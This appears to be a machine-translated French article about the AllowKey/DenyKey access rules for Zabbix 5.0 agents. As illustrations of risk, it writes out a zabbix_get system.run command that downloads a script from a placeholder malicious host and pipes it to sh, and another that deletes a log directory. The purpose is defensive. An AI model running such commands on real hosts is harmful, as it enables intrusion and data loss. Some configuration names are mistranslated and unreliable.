Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Prise en charge des listes noires et blanches pour les métriques côté agent

Tikhon Ouskov, Ingénieur d'intégration, Zabbix

Problèmes de sécurité des données

Zabbix 5.0 a une nouvelle fonctionnalité qui vous permet d'améliorer la sécurité des systèmes utilisant Zabbix Agent et remplace l'ancien paramètre Activer les commandes à distance.

Les améliorations apportées à la sécurité des systèmes basés sur des agents proviennent du fait qu'un agent peut effectuer un grand nombre d'actions potentiellement dangereuses.

  • L'agent peut collecter presque toutes les informations, y compris les informations confidentielles ou potentiellement dangereuses, à partir de fichiers de configuration, de fichiers journaux, de fichiers de mots de passe ou de tout autre fichier.

Par exemple, en utilisant l'utilitaire zabbix_get, vous pouvez accéder à une liste d'utilisateurs, à leurs répertoires personnels, aux fichiers de mots de passe, etc.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Accéder aux données à l'aide de l'utilitaire zabbix_get

NOTE. Les données ne peuvent être récupérées que si l'agent dispose des autorisations de lecture sur le fichier correspondant. Mais, par exemple, le fichier /etc/passwd/ lisible par tous les utilisateurs.

  • L'agent peut également exécuter des commandes potentiellement dangereuses. Par exemple, touche *système.run[]** vous permet d'exécuter n'importe quelle commande à distance sur les nœuds du réseau, y compris l'exécution de scripts à partir de l'interface Web Zabbix qui exécutent également des commandes côté agent.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Sous Linux, l'agent s'exécute par défaut sans privilèges root, tandis que sous Windows, il s'exécute en tant que service en tant que système et dispose d'un accès illimité au système de fichiers. Par conséquent, si aucune modification n'est apportée aux paramètres de l'agent Zabbix après l'installation, l'agent a accès au registre, au système de fichiers et peut exécuter des requêtes WMI.

Dans les versions antérieures, le paramètre EnableRemoteCommands=0 autorisé uniquement à désactiver les métriques avec la clé *système.run[]** et l'exécution de scripts à partir de l'interface Web, mais il n'existait aucun moyen de restreindre l'accès à des fichiers individuels, d'autoriser ou de désactiver des clés individuelles installées avec l'agent, ou de limiter l'utilisation de paramètres individuels.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Utilisation du paramètre EnableRemoteCommand dans les versions antérieures de Zabbix

CléAutoriser/Clé Refuser

Zabbix 5.0 aide à se protéger contre de tels accès non autorisés en fournissant des listes blanches et des listes noires pour autoriser et refuser les métriques du côté de l'agent.

Dans Zabbix 5.0, toutes les clés, y compris *système.run[]** sont activés et deux nouvelles options de configuration d'agent ont été ajoutées :

AllowKey= — les contrôles autorisés ;

RefuserClé= — les contrôles interdits ;

où est un modèle de nom de clé avec des paramètres qui utilisent des métacaractères (*).

Les clés AllowKey et DenyKey vous permettent d'autoriser ou de refuser des métriques individuelles en fonction d'un modèle spécifique. Contrairement à d'autres paramètres de configuration, le nombre de paramètres AllowKey/DenyKey n'est pas limité. Cela vous permet de définir clairement ce que l'agent peut faire exactement dans le système en créant une arborescence de contrôles - des clés exécutables, où l'ordre dans lequel elles sont écrites joue un rôle très important.

Séquence de règles

Les règles sont vérifiées dans l'ordre dans lequel elles sont saisies dans le fichier de configuration. La clé est vérifiée selon les règles avant la première correspondance, et dès que la clé de l'élément de données correspond au modèle, elle est autorisée ou refusée. Après cela, la vérification des règles s'arrête et les clés restantes sont ignorées.

Par conséquent, si un élément correspond à la fois à une règle d'autorisation et à une règle de refus, le résultat dépendra de la première règle dans le fichier de configuration.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

2 règles différentes avec le même schéma et une clé vfs.file.size[/tmp/file]

L'ordre d'utilisation des clés AllowKey/DenyKey :

  1. des règles exactes,
  2. règles générales,
  3. règle prohibitive.

Par exemple, si vous avez besoin d'accéder aux fichiers d'un certain dossier, vous devez d'abord en autoriser l'accès, puis refuser tout ce qui ne relève pas des autorisations établies. Si la règle de refus est utilisée en premier, l'accès au dossier sera refusé.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Séquence correcte

Si vous devez autoriser l'exécution de 2 utilitaires via *système.run[]**, et la règle de refus sera spécifiée en premier, les utilitaires ne seront pas lancés, car le premier modèle correspondra toujours à n'importe quelle clé et les règles suivantes seront ignorées.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Mauvaise séquence

Motifs

Les règles fondamentales

Pattern est une expression avec des caractères génériques. Le métacaractère (*) correspond à n'importe quel nombre de caractères à une position spécifique. Les métacaractères peuvent être utilisés à la fois dans le nom de la clé et dans les paramètres. Par exemple, vous pouvez définir strictement le premier paramètre avec du texte, et spécifiez le suivant comme caractère générique.

Les paramètres doivent être placés entre crochets [].

  • system.run[* - tort
  • vfs.file*.txt] - tort
  • vfs.file.*[*] - droit

Exemples d'utilisation de caractères génériques.

  1. Dans le nom de la clé et dans le paramètre. Dans ce cas, la clé ne correspond pas à une clé similaire qui ne contient pas de paramètre, puisque dans le modèle nous avons indiqué que nous souhaitions recevoir une certaine terminaison du nom de clé et un certain ensemble de paramètres.
  2. Si le modèle n'utilise pas de crochets, il autorise toutes les clés qui ne contiennent pas de paramètres et refuse toutes les clés contenant le paramètre spécifié.
  3. Si la clé est écrite dans son intégralité et que les paramètres sont spécifiés comme caractère générique, elle correspondra à toute clé similaire avec n'importe quel paramètre et ne correspondra pas à la clé sans crochets, c'est-à-dire qu'elle sera autorisée ou refusée.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Règles de remplissage des paramètres.

  • Si une clé avec paramètres doit être utilisée, les paramètres doivent être spécifiés dans le fichier de configuration. Les paramètres doivent être spécifiés sous forme de métacaractère. Il est nécessaire de refuser soigneusement l'accès à tout fichier et de prendre en compte les informations que la métrique peut fournir sous différentes orthographes - avec et sans paramètres.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Caractéristiques de l'écriture de clés avec paramètres

  • Si une clé est spécifiée avec des paramètres, mais que les paramètres sont facultatifs et spécifiés sous forme de métacaractère, une clé sans paramètres sera résolue. Par exemple, si vous souhaitez désactiver la réception d'informations sur la charge du CPU et spécifier que la clé system.cpu.load[*] doit être désactivée, n'oubliez pas que la clé sans paramètres renverra la valeur de charge moyenne.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Règles de remplissage des paramètres

Remarques

réglage

  • Certaines règles ne peuvent pas être modifiées par l'utilisateur, par exemple les règles de découverte ou les règles d'enregistrement automatique des agents. Les règles AllowKey/DenyKey n'affectent pas les paramètres suivants :
    - Nom d'hôteItem
    -HostMetadataItem
    - Élément d'interface hôte

NOTE. Si un administrateur désactive une clé, lorsqu'il est interrogé, Zabbix ne fournit pas d'informations sur la raison pour laquelle la métrique ou la clé entre dans la catégorie '.NON SUPPORTÉ'. Les informations sur les interdictions d'exécution de commandes à distance ne sont pas non plus affichées dans les fichiers journaux de l'agent. Ceci est pour des raisons de sécurité, mais cela peut compliquer le débogage si les métriques appartiennent à une catégorie non prise en charge pour une raison quelconque..

  • Vous ne devez pas vous fier à un ordre spécifique pour connecter les fichiers de configuration externes (par exemple, par ordre alphabétique).

Utilitaires de ligne de commande

Après avoir configuré les règles, vous devez vous assurer que tout est correctement configuré.

Vous pouvez utiliser l'une des trois options suivantes :

  • Ajoutez une métrique à Zabbix.
  • Testez avec zabbix_agentd. Agent Zabbix avec option -imprimer (-p) affiche toutes les clés (qui sont autorisées par défaut) à l'exception de celles qui ne sont pas autorisées par la configuration. Et avec l'option -test (-t) car une clé interdite reviendra 'Clé d'élément non prise en charge'.
  • Testez avec zabbix_get. Utilitaire zabbix_get avec possibilité -k reviendra 'ZBX_NOTSUPPORTED : métrique inconnue'.

Autoriser ou refuser

Vous pouvez refuser l'accès à un fichier et vérifier, par exemple, à l'aide de l'utilitaire zabbix_getque l'accès au fichier est refusé.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

**

NOTE. Les guillemets dans le paramètre sont ignorés.

Dans ce cas, l'accès à un tel fichier peut être autorisé via un chemin différent. Par exemple, si un lien symbolique y mène.

Prise en charge des listes noires et blanches pour les métriques côté agent dans Zabbix 5.0

Il est recommandé de vérifier différentes options pour appliquer les règles spécifiées, et également de prendre en compte les possibilités de contourner les interdictions.

Questions et réponses

question. Pourquoi un modèle aussi complexe avec son propre langage a-t-il été choisi pour décrire les règles, les autorisations et les interdictions ? Pourquoi n'a-t-il pas été possible d'utiliser, par exemple, les expressions régulières utilisées par Zabbix ?

réponse. Il s'agit d'un problème de performances des expressions régulières car il n'y a généralement qu'un seul agent et il vérifie un grand nombre de métriques. Regex est une opération assez lourde et nous ne pouvons pas vérifier des milliers de métriques de cette façon. Wildcards - une solution universelle, largement utilisée et simple.

question. Les fichiers Include ne sont-ils pas inclus par ordre alphabétique ?

réponse. Pour autant que je sache, il est pratiquement impossible de prédire l'ordre dans lequel les règles seront appliquées si vous les répartissez sur différents fichiers. Je recommande de rassembler toutes les règles AllowKey/DenyKey dans un seul fichier Include, car elles interagissent les unes avec les autres, et d'inclure ce fichier..

question. Dans Zabbix 5.0, l'option 'EnableRemoteCommands=' est absent du fichier de configuration et seuls AllowKey/DenyKey sont disponibles ?

Répondre. Oui c'est vrai.

Je vous remercie!

Source: habr.com

Ajouter un commentaire